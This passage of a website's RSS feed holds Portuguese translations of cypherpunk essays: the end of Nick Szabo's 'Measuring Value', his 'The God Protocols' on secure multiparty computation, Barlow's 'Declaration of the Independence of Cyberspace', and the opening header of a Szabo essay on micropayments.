&lt;p>As regras resultantes muitas vezes parecem arbitrárias, mas não são. São trade-offs, muitas vezes não óbvios, mas brilhantes, entre os custos de mensurar mais valor com maior precisão e receita extra extraída. No entanto, o problema de medição de valor dificilmente é exclusivo da coleta de impostos. É endêmico ao avaliar danos em leis contratuais e de responsabilidade civil e ao elaborar multas de punição em leis administrativas e criminais. Muitas regras do setor privado encontradas em contratos, contabilidade e outras instituições também têm a qualidade de usar medidas de valor altamente não óbvias que acabam sendo, após um exame atento, soluções brilhantes para problemas aparentemente intratáveis de leitura da mente e inaceitável complexidade de cobrir todos os casos ou contingências. Tais problemas de medição ocorrem em todo tipo de sistema econômico ou relacionamento. As melhores soluções que a civilização desenvolveu para resolvê-las são, na maioria das instituições, brilhantes, mas altamente imperfeitas. Há um grande espaço para melhorias, mas os experimentos em grande escala fracassados nas tentativas de melhorar essas medidas podem ser devastadores. A curva de Laffer e os custos de medição também podem ser usados para analisar os benefícios relativos de vários esquemas de coleta de impostos para o governo. Antes da revolução industrial, por exemplo, o imposto de renda era inviável. A maioria dos impostos incidia sobre os preços das mercadorias vendidas ou sobre várias medidas ad hoc de riqueza, como a fachada da casa de alguém. (Esse jogo de medição resultou em casas muito altas e profundas, mas estreitas, que ainda podem ser encontradas em algumas cidades européias, como Amsterdã. As escadas são tão estreitas que até a mobília normal tem que ser transportada até a parte superior e depois através de uma janela. com um pequeno guindaste, ele próprio uma característica comum nessas casas).&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="" loading="lazy"
/>
&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="" loading="lazy"
/>
Impostos distorceram a economia da Holanda; literalmente. Aqui estão algumas casas em Amsterdã construídas nos séculos XVII e XVIII, e uma escada estreita típica. Móveis e outros objetos grandes devem ser puxados pelos pequenos guindastes vistos acima das janelas do andar de cima. Antes da revolução industrial, os rendimentos eram muitas vezes um assunto muito particular. No entanto, começando na Inglaterra no início do século XIX, as grandes empresas cresceram para uma proporção crescente da economia. De um modo geral, as grandes empresas e as sociedades por ações foram possibilitadas por duas fases de avanços contábeis. A primeira fase, contabilidade de dupla entrada, foi desenvolvida para os bancos comerciais e &amp;ldquo;super empresas&amp;rdquo; do início do século XIV na Itália. A segunda fase foram as técnicas de contabilidade e relatórios desenvolvidos para as grandes empresas de ações da Holanda e da Inglaterra, começando com as empresas indianas no século XVII. A contabilidade permitia aos gerentes manter o controle dos funcionários e (na segunda fase) para os proprietários que não gerenciavam acompanhar os gerentes. Essas técnicas contábeis, juntamente com o aumento da alfabetização e numeramento entre os trabalhadores, forneceram uma nova maneira de os coletores de impostos mensurarem o valor. Uma vez que essas empresas maiores passaram a lidar com uma fração suficiente do valor das transações de uma jurisdição, era racional que os governos tirassem proveito de suas técnicas de mensuração, e assim o fizeram. o resultado é o esquema tributário mais lucrativo de todos os tempos, o imposto de renda. Embora os incentivos entre investidores e administradores de empresas públicas não estejam tão mal alinhados quanto os impostos entre o coletor de impostos e o contribuinte, os incentivos para jogar com medições ainda são bastante substanciais. Vamos agora olhar para os desafios que os investidores, jogando um jogo de contabilidade com a administração, enfrentam quando nos movemos para além da era industrial.&lt;/p>
&lt;h3 id="ativos-intangíveis-nas-demonstrações-financeiras">Ativos Intangíveis nas Demonstrações Financeiras&lt;/h3>
&lt;p>Ativos intangíveis; na forma de segredos comerciais, propriedade intelectual, marcas, recursos humanos e assim por diante; tornaram-se mais valiosos do que ativos tangíveis para muitas das empresas de hoje. Nos negócios em geral e na contabilidade em particular, é comum usar o custo como uma medida substituta do valor. De fato, enquanto o valor econômico real de um ativo é o valor descontado dos fluxos de caixa futuros esperados, a maioria dos ativos recebe um valor baseado em seus custos e não em seu fluxo de caixa futuro esperado. Isso geralmente funciona porque (a) os custos são geralmente baseados em eventos verificáveis que podem ser assinados e auditados, enquanto previsões de fluxo de caixa são meras especulações sobre o futuro, (b) na maioria das condições, esperamos que os gestores tenham agido racionalmente, dinheiro somente onde eles esperam, em média, um eventual retorno maior, e (c) leitores habilidosos de demonstrações financeiras aprenderam com a experiência que jogos podem ser jogados pelos gerentes (porque seus incentivos diferem de outros interessados) e para detectar sinais de que gerentes ter agido irracionalmente (por exemplo, sobre ou sob investimento em ativos específicos). Assim, os números contábeis para ativos tangíveis nunca foram considerados literalmente ou isoladamente por leitores habilidosos das demonstrações financeiras. De fato, a aparente concretude dos tangíveis pode ser bastante enganosa. Um leitor experiente sabe que a maioria dos números contábeis representa os custos e não o valor, e aplica seus conhecimentos sobre a indústria para determinar por si mesmo como o valor pode realmente ser estimado por esses custos. Por exemplo, um leitor ingênuo assumirá os ativos atuais pelo valor de face, enquanto um leitor qualificado procurará condições como crescimento anormal de estoque ou recebíveis. A função real de uma demonstração financeira é fornecer pistas para analistas baseados em fatos bem verificados, e não fornecer respostas definitivas para aqueles que buscam avaliar uma empresa. Algumas objeções à inclusão de intangíveis no balanço patrimonial são inválidas. Por exemplo, argumenta-se que os intangíveis gerados internamente não podem ser valorizados porque não foram comprados no mercado. No entanto, esse também é frequentemente o caso de inventários e inventários industriais exclusivos. Desenvolvemos métodos como identificação específica para valorizar ativos gerados internamente, e estes também podem ser aplicados a intangíveis gerados internamente. A alocação de custos comuns a vários ativos intangíveis (por exemplo, uma biblioteca de software usada em dois produtos de software diferentes) pode se basear na longa experiência na alocação de custos comuns a vários ativos tangíveis. Outra objeção mais válida é que o valor real, no fluxo de caixa, dos intangíveis é muito mais incerto do que para a maioria dos ativos físicos. Assim, o mapeamento do custo para o valor é muito mais incerto. Esse mapeamento pode ser feito com maior certeza apenas sobre um agregado de diversos investimentos. No entanto, existem certos tipos de ativos físicos cujo valor também é altamente incerto, mas recebem um valor baseado em custos. Os gerentes racionais descontaram seus investimentos originais para levar em conta esses riscos. O mesmo vale para os ativos intangíveis. Leitores qualificados de demonstrações financeiras sabem quando esperar alta incerteza. Muitas vezes, eles exigirão mais detalhes da administração sobre os investimentos específicos. Fornecer maior detalhe onde os intangíveis estão envolvidos é altamente recomendável, um ponto a que retornarei abaixo. Por outro lado, muitas medidas propostas de valor intangível são não-iniciais para fins de demonstrações contábeis ou financeiras. Por exemplo, várias medidas foram apresentadas supostamente relacionadas a fluxos de caixa esperados (por exemplo, medir acessos a sites, taxas de retenção de clientes etc. para tentar estimar o valor de uma marca). A única vez que o valor esperado, em vez do custo, é usado em um balanço patrimonial para tangíveis é quando o ativo pode ser atualmente precificado em um mercado eficiente, competitivo e público. (Por exemplo, os estoques de commodities negociados publicamente podem ser avaliados dessa maneira). Caso contrário, é muito melhor usar o custo, o real evento da despesa, e deixar que os leitores habilidosos da demonstração financeira interpretem esses números adequadamente. Aqui estão alguns comentários específicos e propostas para tipos específicos de ativos intangíveis:&lt;/p>
&lt;h4 id="patentes-e-direitos-autorais">Patentes e Direitos Autorais&lt;/h4>
&lt;p>Uma empresa possui esses direitos legais em todas as economias desenvolvidas e menos desenvolvidas. Os direitos autorais são muito bem definidos, mas em alguns casos são muito difíceis para a empresa ou o estado realmente controlar. As patentes podem ser muito mal definidas, de modo que a ocorrência de uma perda de direitos sobre a tecnologia atual não é clara. No entanto, presumivelmente, os gerentes descontam seus investimentos originais para levar em conta esses riscos. Assim, se os custos podem ser alocados a patentes e direitos autorais específicos, eles constituem uma medida substituta para o valor de ativos patenteados e protegidos por direitos autorais. Isso é bastante semelhante ao uso do custo de um ativo físico, cujo eventual valor do fluxo de caixa é altamente incerto, para avaliar esse ativo e permitir que o leitor qualificado interprete o número resultante adequadamente.&lt;/p>
&lt;h4 id="brands">Brands&lt;/h4>
&lt;p>Uma empresa possui direitos legais sobre sua marca em todas as economias desenvolvidas e menos desenvolvidas. As empresas ainda têm algum controle sobre a percepção na mente das pessoas, na medida em que suas ações observáveis influenciam essa percepção. Alguns nomes de grandes marcas mostraram um valor muito persistente, enquanto os menores têm maior probabilidade de serem esquecidos. É possível mapear os tratamentos contábeis atuais para investimento, manutenção e depreciação de ativos físicos para investimento e manutenção de uma marca, bem como a tendência de os clientes esquecerem ao longo do tempo uma marca que não é mantida.&lt;/p>
&lt;h4 id="recursos-humanos">Recursos Humanos&lt;/h4>
&lt;p>Os funcionários não são de propriedade, mas o mercado de trabalho não é perfeitamente fungível. Há alguma aderência a isso. De fato, essa rigidez pode ser medida pela taxa de rotatividade da empresa. A taxa de rotatividade, um número bastante auditável, pode fornecer uma excelente maneira de depreciar um ativo definido pelos custos de contratação e treinamento.&lt;/p>
&lt;h4 id="comentário-final-sobre-intangíveis">Comentário final sobre intangíveis&lt;/h4>
&lt;p>Até que uma longa experiência seja adquirida pelas partes interessadas com determinados tipos de investimentos intangíveis, a capacidade de avaliar se os custos são racionais e satisfazer os interesses das partes interessadas, além da administração, será fraca. Uma grande variedade de experimentos de relatórios, a maioria dos quais falhará, são essenciais para obter relatórios mais precisos dos valores de ativos para as partes interessadas. A interpretação de demonstrações financeiras intangíveis e pesadas é um trabalho para analistas qualificados, e não para leitores ocasionais. Para o especialista, mais informações são melhores; os registros detalhados das despesas e sua alocação aos ativos intangíveis são mais importantes para o stakeholder qualificado do que os totais resumidos. Esses registros detalhados devem ser divulgados aos interessados, apesar das objeções sobre confidencialidade. Somente uma longa experiência com esses detalhes ensinará as partes interessadas se e como julgar os totais resumidos que envolvem intangíveis.&lt;/p>
&lt;h3 id="conclusão">Conclusão&lt;/h3>
&lt;p>A medição do valor é um dos problemas mais intratáveis da civilização. Soluções brilhantes e altamente não óbvias para este problema; dos mercados ao dinheiro, ao tempo-salário, à contabilidade de custos; constituíram alguns dos passos mais importantes do animal para a civilização. Historicamente, as soluções para um problema de mensuração de valor (por exemplo, contabilidade de valor em uma grande empresa) também possibilitaram outras instituições (por exemplo, imposto de renda, que deve primeiro resolver o mesmo tipo de problema para ser competitivo com outros tipos de tributação). A contabilidade de ativos intangíveis pode agora ser o problema de mensuração de valor mais importante que enfrentamos à medida que avançamos além da era em que as commodities industriais tangíveis dominavam a economia.&lt;/p>
&lt;h3 id="bibliografia">Bibliografia&lt;/h3>
&lt;p>(em construção)&lt;/p>
&lt;ol>
&lt;li>Adams, Charles, &lt;em>For Good and Evil: The Impact of Taxes on Civilization&lt;/em> &lt;a href="#ref1">↩&lt;/a>
&lt;/li>
&lt;li>Barzel, Yoram, 1982. &amp;ldquo;Measurement Cost and the Organization of Markets&amp;rdquo;, &lt;em>Journal of Law and Economics&lt;/em> 25, no 1:27-48&lt;/li>
&lt;li>Cheung, Steven N.S., 1969. &lt;em>A Theory of Share Tenancy&lt;/em>. University of Chicago Press.&lt;/li>
&lt;li>Cheung, Steven N.S., 1983. &amp;ldquo;The Contractual Nature of the Firm&amp;rdquo;, &lt;em>Journal of Law and Economics&lt;/em> 2, no 1:1-22&lt;/li>
&lt;li>Coase, R.H., 1937, &amp;ldquo;The Nature of the Firm&amp;rdquo;, &lt;em>Economica&lt;/em> 4, no. 3:386-405&lt;/li>
&lt;li>Coase, R.H., 1988 &lt;em>The Firm, the Market and the Law&lt;/em>, University of Chicago Press 1988 &lt;a href="#ref6">↩&lt;/a>
&lt;/li>
&lt;li>Coxon, T., 1996 &lt;em>Keep What You Earn&lt;/em>, Times Business/Random House&lt;/li>
&lt;li>Hayek, F., &amp;ldquo;The Use of Knowledge in Society&amp;rdquo;&lt;/li>
&lt;li>Williamson, Oliver, &lt;em>The Economic Institutions of Capitalism&lt;/em>, Free Press 1985&lt;/li>
&lt;/ol>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://nakamotoinstitute.org/measuring-value/" target="_blank" rel="noopener noreferrer">Measuring Value - Nick Szabo&lt;/a>
&lt;/p></content:encoded></item><item><title>Os Protocolos de Deus</title><link>https://cypherpunks.com.br/documentos/os-protocolos-de-deus/</link><pubDate>Wed, 01 Jan 1997 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/os-protocolos-de-deus/</guid><description>Imagine o protocolo ideal. Teria a terceira parte mais confiável imaginável - uma entidade que está do lado de todo mundo . Todas as partes enviariam suas entradas para Deus. Deus determinaria confiavelmente os resultados e retornaria as saídas. Sendo Deus o supremo na discrição confessional, nenhum partido aprenderia mais sobre entradas …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: jeffeson
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h3 id="nick-szabo">Nick Szabo&lt;/h3>
&lt;p>&lt;!-- raw HTML omitted -->Originalmente publicado em 1997&lt;!-- raw HTML omitted -->&lt;/p>
&lt;p>&lt;/p>
&lt;p>Imagine o protocolo ideal. Teria a terceira parte mais confiável imaginável - uma entidade que está do lado de todo mundo . Todas as partes enviariam suas entradas para Deus. Deus determinaria confiavelmente os resultados e retornaria as saídas. Sendo Deus o supremo na discrição confessional, nenhum partido aprenderia mais sobre entradas das outras partes do que eles poderiam aprender com suas próprias entradas e a saída.&lt;/p>
&lt;p>Infelizmente, no nosso mundo temporal lidamos com humanos, em vez de divindades. No entanto, muitas vezes somos obrigados a tratar as pessoas de maneira quase teológica, porque nossa infra-estrutura carece da segurança necessária para nos proteger.&lt;/p>
&lt;h2 id="terceiro-confiável">Terceiro Confiável&lt;/h2>
&lt;p>&lt;img class="img-fluid" alt="terceiro confiavel" src="https://cypherpunks.com.br/stuff/mutually.gif" loading="lazy"
width="511" height="246"
/>
&lt;/p>
&lt;p>Os teóricos de segurança de redes resolveram recentemente esse problema de maneira surpreendente. Eles desenvolveram protocolos que criam máquinas virtuais entre duas ou mais partes. A computação segura multipartidária permite que qualquer número de partes compartilhe uma computação, cada uma aprendendo apenas o que pode ser inferido a partir de suas próprias entradas e da saída da computação. Essas máquinas virtuais têm a interessante propriedade de que as informações de cada parte são altamente confidenciais das outras partes. O programa e a saída são compartilhados pelas partes.&lt;/p>
&lt;p>Por exemplo, poderíamos executar uma planilha na Internet neste computador virtual. Concordamos em um conjunto de fórmulas e configuramos o computador virtual com essas fórmulas. Cada participante teria suas próprias células de entrada, que permanecem em branco nos computadores dos outros participantes. Os participantes compartilham célula (s) de saída. Cada entrada com nossos dados privados em nossas células de entrada. Alice só podia aprender tanto sobre as células de entrada dos outros participantes quanto poderia inferir a partir de suas próprias entradas e das células de saída.&lt;/p>
&lt;h2 id="protocolo-matematicamente-confiável">Protocolo Matematicamente Confiável&lt;/h2>
&lt;p>&lt;img class="img-fluid" alt="protocolo matematicamente confiavel" src="https://cypherpunks.com.br/stuff/virtual.gif" loading="lazy"
width="513" height="255"
/>
&lt;/p>
&lt;p>Existem três grandes limitações. A primeira é que esse computador virtual é muito lento: em alguns casos, um cálculo aritmético por mensagem de rede. Atualmente, ele é, na melhor das hipóteses, prático apenas para lógica pequena ou cálculos aritméticos usados como complemento ou componente de cálculos e protocolos mais eficientes.&lt;/p>
&lt;p>A segunda é que existe uma troca entre privacidade, equidade e tolerância a falhas. Equidade significa que todos aprendem os resultados de tal forma que ninguém pode obter vantagem aprendendo primeiro. A tolerância a falhas pode fornecer robustez contra uma minoria, de modo que é necessária uma maioria para interromper o protocolo ou pode não ser robusto, mas usando fail-stop (sistema com paragem segura), de modo que um único participante possa encerrar o protocolo. Muitos artigos discutiram a fração de partes em que alguém deve confiar para ter certeza de que aprenderá a saída correta. Nos resultados tradicionais, a equidade e a privacidade não poderiam ser alcançadas com uma maioria defeituosa. Artigos&lt;!-- raw HTML omitted -->&lt;a href="#fn3">[3]&lt;/a>
&lt;a href="#fn4">[4]&lt;/a>
&lt;a href="#fn5">[5]&lt;/a>
&lt;a href="#fn6">[6]&lt;/a>
&lt;!-- raw HTML omitted --> recentes produziram protocolos justos e privados, mesmo com maiorias falhas. Eles negociam robustez para privacidade e justiça contra qualquer proporção de partes defeituosas. A vantagem dessa abordagem fail-stop é que normalmente é possível encontrar novos parceiros e começar tudo de novo, mas não se quer sofrer perdas irreversíveis, como vazamento de informações, ficar segurando a bolsa ou estar convencido de um resultado incorreto.&lt;/p>
&lt;p>A terceira limitação é que, longe de ser onisciente ou onipotente, o protocolo realizará apenas o que está especificado no algoritmo e nas entradas. Ele não poderá substituir terceiros confiáveis onde essas partes fornecem informações ou conhecimentos que não podem ser fornecidos por um computador.&lt;/p>
&lt;p>Com essas ressalvas, qualquer intermediário algorítmico pode, em princípio, ser substituído por um computador virtual confiável. Na prática, por causa das três complicações, geralmente construímos protocolos mais limitados a partir de elementos mais eficientes.&lt;/p>
&lt;p>A teoria da computação multipartidária, ao possibilitar a intermediação virtual privada, tem implicações importantes, em teoria, para todos os tipos de relações contratuais. Isso pode ser visto mais claramente na área de negociações. Um &amp;ldquo;mecanismo&amp;rdquo; na economia é um modelo abstrato de uma instituição que se comunica com seus participantes via mensagens e cujas regras podem ser especificadas por algoritmos. Essas instituições podem ser leilões, trocas, votação e assim por diante. Eles normalmente implementam algum tipo de negociação ou processo de tomada de decisão.&lt;/p>
&lt;p>Economistas assumem que um intermediário de confiança opera o mecanismo. Aqui está um exemplo simples de usar este computador virtual para um mecanismo. Alice pode enviar um preço de compra, e Bob um preço de venda, depois seus programas virtuais compartilhados têm uma instrução, &amp;ldquo;A maior que B?&amp;rdquo;. O computador retorna &amp;ldquo;true&amp;rdquo; se o lance de Alice for maior que a oferta de Bob. Um computador um pouco mais sofisticado pode então decidir o preço de acordo com um número de diferentes algoritmos (oferta de Alice, preço de venda de Bob, divisão da diferença, etc.) Isso implementa o mecanismo &amp;ldquo;negociação cega&amp;rdquo; (&amp;ldquo;blind bargaining&amp;rdquo;) sem intermediário confiável.&lt;/p>
&lt;p>Em princípio, como qualquer problema computável pode ser resolvido neste computador virtual (são &amp;ldquo;máquinas de Turing completas&amp;rdquo;), qualquer mecanismo econômico computável pode ser implementado sem um intermediário confiável. Na prática, enfrentamos as três limitações discutidas acima. Mas a prova da existência, de que qualquer mecanismo econômico pode ser executado sem um intermediário confiável, é muito emocionante. Isso significa que, em princípio, qualquer contrato que possa ser negociado por meio de um terceiro confiável (como um leilão ou troca) pode ser negociado diretamente. Assim, em algum sentido abstrato, os únicos problemas &amp;ldquo;difíceis&amp;rdquo; nas negociações de contratos inteligentes são (a) problemas considerados difíceis mesmo com um intermediário confiável (pelas razões econômicas padrão), e (b) a tarefa de especificar algoritmicamente as regras de negociação e termos do contrato de saída (Isso inclui casos em que um intermediário adiciona conhecimento indisponível aos participantes, como um advogado dando conselhos sobre como redigir um contrato). Na prática, muitos problemas que podem ser resolvidos em princípio com computação multipartidária ressurgirão quando implementarmos protocolos de maneira eficiente e prática. Os Protocolos de Deus nos dão um alvo para atirar.&lt;/p>
&lt;p>A aplicação desse tipo de análise à fase de desempenho dos contratos é menos direta. Para começar, as teorias econômicas da fase de desempenho não são tão bem desenvolvidas ou simples quanto a teoria do mecanismo das negociações. De fato, a maior parte da teoria econômica simplesmente assume que todos os contratos podem ser feitos perfeitamente e sem custos impostos. Parte da literatura sobre &amp;ldquo;custos de transação&amp;rdquo; começou a ir além dessa hipótese, mas há poucos resultados convincentes ou teorias de consenso na área de técnicas e custos de execução de contratos.&lt;/p>
&lt;p>A análise da fase de desempenho com a teoria de computação segura multipartidária parece se aplicar apenas aos contratos que podem ser executados dentro do computador virtual. Mas o uso de registros de auditoria pós-inutilizáveis, combinado com a execução de protocolos de auditoria dentro do computador virtual compartilhado, permite que uma ampla variedade de performances fora do computador virtual seja pelo menos observada e verificada por arbitradores selecionados, embora não seja auto-aplicada de forma proativa.&lt;/p>
&lt;p>Os participantes deste protocolo de auditoria mutuamente confidencial podem verificar se os livros correspondem aos detalhes das transações armazenadas em um log de transações previamente confirmado e se os números se somam corretamente. Os participantes podem calcular estatísticas resumidas em seus registros de transação compartilhados confidencialmente, incluindo a verificação cruzada dos registros em relação às contrapartes em uma transação, sem revelar esses registros. Eles só aprendem o que pode ser inferido das estatísticas, não podem ver os detalhes das transações. Outra possibilidade intrigante é que o computador virtual possa manter o estado por longos períodos de tempo, permitindo formas sofisticadas de crédito garantido e auto-imposto.&lt;/p>
&lt;p>Se a auditoria mutuamente confidencial se tornar prática, poderemos obter alta confiança na factualidade das declarações e relatórios das contrapartes, sem revelar informações de identificação e outras informações detalhadas das transações subjacentes a esses relatórios. Isso forneceria a base para sólidos sistemas de reputação e outros sistemas confiáveis de terceiros, que mantêm a integridade ao longo do tempo, as comunicações, a sumarização e preservam a confidencialidade dos participantes da transação. Sabendo que a auditoria mutuamente confidencial pode ser realizada em princípio, esperamos que nos leve a soluções práticas para esses problemas importantes.&lt;/p>
&lt;!-- raw HTML omitted -->
&lt;h2 id="references">References&lt;/h2>
&lt;ol>
&lt;li>
&lt;p>D. Chaum, C. Crépeau, and I. Damgaard, Multiparty unconditionally secure protocols; In 19th Symp. on Theory of Computing, pages 11-19. ACM, 1988.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&amp;ldquo;The Spymasters Double Agent Problem: Multiparty Computations Secure Unconditionally from Minorities and Cryptographically from Majorities,&amp;rdquo; D. Chaum, Advances in Cryptology CRYPTO'89, G. Brassard (Ed.), Springer-Verlag, pp. 591-601.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>C. Crépeau, J. van de Graaf, and A. Tapp, Committed Oblivious Transfer and Private Multi-Party Computations; Advances in Cryptology: Proceedings of Crypto &amp;lsquo;95, Springer-Verlag, pages 110-123, 1995. &lt;a href="#ref3">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Complete Characterization of Adversaries Tolerable in Secure Multi-Party Computation, Martin Hirt and Ueli Maurer. Computer Science Department, ETH Zürich. 1997. in Proceedings of PODC &amp;lsquo;97 &lt;a href="#ref4">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Matthias Fitzi, Martin Hirt, and Ueli Maurer: Trading correctness for privacy in unconditional multi-party computation. In Advances in Cryptology — CRYPTO &amp;lsquo;98, volume 1462 of Lecture Notes in Computer Science, 1998. &lt;a href="#ref5">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>R. Cramer, I. Damgaard, S. Dziembowski, M. Hirt, T. Rabin, Efficient Multi-Party Computations with Dishonest Majority, Proceedings of Eurocrypt &amp;lsquo;99, Springer Verlag LNCS, to appear (May &amp;lsquo;99). &lt;a href="#ref6">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;/ol>
&lt;!-- raw HTML omitted -->
&lt;p>Por favor, envie seus comentários para nszabo (at) law (dot) gwu (dot) edu&lt;/p>
&lt;p>Copyright © 1997-1999 por Nick Szabo&lt;br>
Permissão para redistribuir sem alteração por este concedida&lt;/p>
&lt;p>Fonte:
&lt;a href="https://nakamotoinstitute.org/the-god-protocols/" target="_blank" rel="noopener noreferrer">https://nakamotoinstitute.org/the-god-protocols/&lt;/a>
&lt;/p></content:encoded></item><item><title>Uma declaração da independência do ciberespaço</title><link>https://cypherpunks.com.br/documentos/independencia-do-ciberespaco/</link><pubDate>Thu, 08 Feb 1996 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/independencia-do-ciberespaco/</guid><description>Governos do Mundo Industrial, vocês, gigantes cansados de carne e aço, eu venho do Ciberespaço, o novo lar da Mente. Em nome do futuro, peço-lhe do passado para nos deixar em paz. Você não é bem vindo entre nós. Você não tem soberania onde nos reunimos.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Steffan Diorgy
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h1 id="uma-declaração-da-independência-do-ciberespaço">Uma declaração da independência do ciberespaço&lt;/h1>
&lt;p>&lt;!-- raw HTML omitted -->John Perry Barlow&lt;!-- raw HTML omitted -->&lt;/p>
&lt;h4 id="8-de-fevereiro-de-1996">8 de Fevereiro de 1996&lt;/h4>
&lt;p>&lt;/p>
&lt;p>Governos do Mundo Industrial, vocês, gigantes cansados de carne e aço, eu venho do Ciberespaço, o novo lar da Mente. Em nome do futuro, peço-lhe do passado para nos deixar em paz. Você não é bem vindo entre nós. Você não tem soberania onde nos reunimos.&lt;/p>
&lt;p>Nós não elegemos nenhum governo, nem é provável que elejamos um, então eu dirijo a você sem maior autoridade do que aquela com a qual a própria liberdade sempre fala. Eu declaro que o espaço social global que estamos construindo é naturalmente independente das tiranias que você procura nos impor. Você não tem direito moral de nos governar nem possui quaisquer métodos de execução que tenhamos motivos para temer.&lt;/p>
&lt;p>Os governos obtêm seus poderes através do consentimento dos governados. Você não solicitou e nem recebeu o nosso. Nós não solicitamos você. Você não nos conhece, nem conhece o nosso mundo. O ciberespaço não está dentro de suas fronteiras. Não pense que você pode construí-lo, como se fosse um projeto de construção pública. Você não pode. É um ato da natureza e cresce através de nossas ações coletivas.&lt;/p>
&lt;p>Você não se engajou em nossa grande e produtiva conversa, nem criou a riqueza de nossos mercados. Você não conhece nossa cultura, nossa ética ou os códigos não escritos que já fornecem à nossa sociedade mais ordem do que poderia ser obtida por qualquer uma de suas imposições.&lt;/p>
&lt;p>Você afirma que há problemas entre nós que você precisa resolver. Você usa essa afirmação como uma desculpa para invadir nosso arredores. Muitos desses problemas não existem. Onde há conflitos reais, onde existem erros, nós os identificamos e os endereçamos por nossos meios. Estamos formando nosso próprio contrato social. Este governo surgirá de acordo com as condições do nosso mundo, não o seu. Nosso mundo é diferente.&lt;/p>
&lt;p>O ciberespaço consiste em transações, relacionamentos e pensamentos por si próprios, dispostos como uma onda estacionária na rede de nossas comunicações. Nosso mundo é um mundo que está em toda parte e em nenhum lugar, mas não é onde moram os corpos.&lt;/p>
&lt;p>Estamos criando um mundo no qual todos podem entrar sem privilégios ou preconceitos concedidos por raça, poder econômico, força militar ou &amp;lsquo;status&amp;rsquo; de nascimento.&lt;/p>
&lt;p>Estamos criando um mundo onde qualquer pessoa, em qualquer lugar, pode expressar suas crenças, por mais singular que seja, sem medo de ser coagido ao silêncio ou à conformidade.&lt;/p>
&lt;p>Seus conceitos legais de propriedade, expressão, identidade, movimento e contexto não se aplicam a nós. Todos eles são baseados na matéria e não há matéria aqui.&lt;/p>
&lt;p>Nossas identidades não têm corpos, assim, ao contrário de você, não podemos obter ordem por coerção física. Acreditamos que, da ética, do autointeresse esclarecido e do bem comum, nossa governança surgirá. Nossas identidades podem ser distribuídas em muitas das suas jurisdições. A única lei que todas as nossas culturas constituintes geralmente reconhecem é a Regra de Ouro. Esperamos que possamos construir nossas soluções particulares com base nisso. Mas não podemos aceitar as soluções que você está tentando impor.&lt;/p>
&lt;p>Nos Estados Unidos, você criou hoje uma lei, a Lei de Reforma das Telecomunicações, que repudia sua própria Constituição e insulta os sonhos de Jefferson, Washington, Mill, Madison, DeToqueville e Brandeis. Estes sonhos devem agora nascer de novo em nós.&lt;/p>
&lt;p>Você tem pavor de seus próprios filhos, pois eles são nativos em um mundo onde você sempre será imigrante. Porque você os teme, você confia suas burocracias com as responsabilidades parentais, você é muito covarde para se confrontar. Em nosso mundo, todos os sentimentos e expressões da humanidade, desde o rebaixamento até o angélico, são partes de um todo perfeito, a conversação global de bits. Não podemos separar o ar que sufoca do ar sobre o qual as asas batem.&lt;/p>
&lt;p>Na China, Alemanha, França, Rússia, Cingapura, Itália e Estados Unidos, você está tentando afastar o vírus da liberdade, erguendo postos de guarda nas fronteiras do ciberespaço. Estes podem evitar o contágio por um curto período, mas não funcionarão em um mundo que em breve será coberto pela mídia baseada em bits.&lt;/p>
&lt;p>Suas indústrias de informação cada vez mais obsoletas se perpetuariam propondo leis, na América e em outros lugares, que reivindicam o próprio discurso em todo o mundo. Essas leis declarariam as idéias como outro produto industrial, não mais nobre que o ferro-gusa. Em nosso mundo, o que quer que a mente humana possa criar, pode ser reproduzido e distribuído infinitamente, sem nenhum custo. O transporte global do pensamento não requer mais que suas fábricas para se concretizar.&lt;/p>
&lt;p>Essas medidas cada vez mais hostis e coloniais nos colocam na mesma posição daqueles amantes anteriores da liberdade e da autodeterminação que tiveram que rejeitar as autoridades de poderes distantes e desinformados. Devemos declarar nossos egos virtuais imunes à sua soberania, mesmo enquanto continuamos a consentir em seu domínio sobre nossos corpos. Nós nos espalharemos pelo Planeta para que ninguém possa deter nossos pensamentos.&lt;/p>
&lt;p>Vamos criar uma civilização da mente no ciberespaço. Que seja mais humano e justo do que o mundo que seus governos fizeram antes.F&lt;/p>
&lt;p>Davos, Suíça&lt;br>
8 de Fevereiro de 1996&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://www.eff.org/cyberspace-independence" target="_blank" rel="noopener noreferrer">A Declaration of the Independence of Cyberspace - John Perry Barlow&lt;/a>
&lt;/p></content:encoded></item><item><title>A barreira da contabilidade mental aos micropagamentos</title><link>https://cypherpunks.com.br/documentos/barreira-contabilidade-mental-micropagamentos/</link><pubDate>Mon, 01 Jan 1996 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/barreira-contabilidade-mental-micropagamentos/</guid><description>Parece haver aqui um gargalo cognitivo fundamental. Uma solução proposta para isso tem sido "agentes inteligentes". Mas como esses agentes são programados remotamente, não pelo consumidor, é difícil para o consumidor determinar se o agente está agindo de acordo com os melhores interesses do consumidor, ou no melhor interesse da …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: jeffeson
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="nick-szabo">Nick Szabo&lt;/h2>
&lt;p>Copyright (c) 1996 por Nick Szabo - permissão para redistribuir sem alteração ora concedida&lt;/p>
&lt;hr>
